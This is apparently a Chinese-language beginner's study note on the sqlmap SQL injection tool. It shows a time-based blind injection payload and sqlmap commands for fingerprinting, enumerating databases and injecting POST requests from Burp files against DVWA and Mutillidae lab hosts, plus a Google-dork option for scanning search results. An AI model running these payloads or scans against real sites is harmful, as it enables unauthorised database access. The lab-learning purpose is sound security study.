SQLmap的自動注入學習之路(1)
是通過五種sql注入漏洞的檢測技術
' and(select*from(select(sleep(20)))a)#
這是基於時間的盲注檢測 看他返回的時間 可以在DVWA試試
sqlmap支持非常全面的()數據庫管理系統DBMS
-d 參數直接連接 作為客服端連上服務器端
mysql 3306端口 orcle的1521 sqlsever的1433
我們先來查看一下sqlmap的版本
sqlmap.py --version
sqlmap.py -h(看參數)
-hh(顯示更詳細的的參數)
一Target(連接)
Sqlmap 針對關系型數據庫的自動化注入工具,如mysql,mssql,oracle
由於DVWA需要cookie注入 所以我們換一個網站不需要登陸的網站
sqlmap.py -u "http://1192.168.1.101/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p username -f
-p是指定參數的注入 -f是指紋 這是最簡單的掃描了
sqlmap.py -u “” -username -dbs -a
查看當前數據庫的使用名 查看是否最高權限
這是數據庫名 然后表名 然后列名
看這里就用了三種檢測方法都可以注入
-d
sqlmap.py -d "mysql://root:toor@192.168.1.101:3306/dwva"
直連數據庫的操作
-m也可以掃描list.txt文件 掃描txt里面的url
sqlmap.py -m list.txt --dbs
掃描google搜索結果
如果你想掃描url里面含有.php?id=1都去嘗試注入
sqlmap.py -g "inurl:\".php?id=1\""
加下划線是轉義的因為讓電腦知道這個“”就是雙引號本身
剛才上面的方法都是GET方法來檢查傳輸的 所有的都是通過URL來進行傳輸的 如果是POST方法吶
1使用http的請求文件(burpsuit)
sqlmap.py -r request.txt(讓他自己去http請求頭里面找每一個參數進行注入)
接下來我們演示一下
復制下來 然后新建一個文本文件 post.txt然后把上面的內容粘貼進去
sqlmap.py -r post.txt --dbs
2使用burpsuit log文件
sqlmap.py -l log.txt
首先要配置一下我們訪問過程中的log文件
有很多種 這里為了方便我們選代理類型的文件 然后選擇存放位置保存為Log.txt凡是我的訪問都會被放到log.txt里面
先識別到了一個url 1 然后問我們是否進行注入檢測
因為時間過長 我們對username進行檢查-p username
因為這里沒有我們要的參數所以會報錯
HTTPS
sqlmap -u "url" -force-ssl
掃描配置文件
sqlmap -c sqlmap.conf
二Request
切記(少就是多 慢就是快)